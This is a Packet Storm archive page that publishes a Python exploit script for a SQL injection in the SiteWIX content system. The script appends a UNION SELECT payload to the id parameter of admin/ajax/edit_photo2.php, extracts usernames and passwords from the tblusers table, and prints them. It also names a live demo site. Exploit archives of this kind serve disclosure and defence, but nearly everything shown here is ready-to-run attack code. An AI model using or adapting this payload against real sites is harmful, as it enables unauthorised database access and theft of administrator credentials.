what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SiteWIX SQL Injection

SiteWIX SQL Injection
Posted Oct 21, 2015
Authored by ZoRLu

SiteWIX suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | ce2689d63edc3530f187eb722b672751ab937aa7fdb4958e2b269cdc34c0d585

SiteWIX SQL Injection

Change Mirror Download
#!/usr/bin/env python
#-*- coding:utf-8 -*-

#Title : SiteWIX - (edit_photo2.php id) SQL Injection Exploit
#Author : ZoRLu / zorlu@milw00rm.com
#Website : milw00rm.com / milw00rm.net / milw00rm.org / milw0rm.info
#Twitter : https://twitter.com/milw00rm or @milw00rm
#Test : Windows7 Ultimate
#Discovery : 19/10/15
#Publish : 20/10/15
#Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com,
cxsecurity.com and others
#BkiAdam : B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR
#Firstbug : https://www.milw00rm.com/exploits/11133 / PrenS
#Proof : https://www.milw00rm.com/proof/sitewix.jpg
#demo : https://cesurbranda.com/

import re
import os
import sys
import time
import urllib2


if len(sys.argv) < 2:
os.system(['clear','cls'][1])
print "
____________________________________________________________________"
print "|
|"
print "| SiteWIX - (edit_photo2.php id) SQL Injection Exploit
|"
print "| ZoRLu / milw00rm.com
|"
print "| exploit.py https://site.com/path/
|"
print
"|____________________________________________________________________|"
sys.exit(1)

koybasina = "https://"
koykicina = "/"
sitemiz = sys.argv[1]
if sitemiz[-1:] != koykicina:
sitemiz += koykicina
if sitemiz[:7] != koybasina:
sitemiz = koybasina + sitemiz
vulnfile = "admin/ajax/edit_photo2.php"
sql =
"?id=22+union+select+1,2,concat(0x3b3b3b,Password,0x3b3b3b),4,5,concat(0x3a3a3a,Username,0x3a3a3a)+from+tblusers"
url = sitemiz + vulnfile + sql
print "\nExploiting...\n"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
if len(aliver) > 0:
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
if len(aliver) > 0:
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
print "\nGood Job Bro!"
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close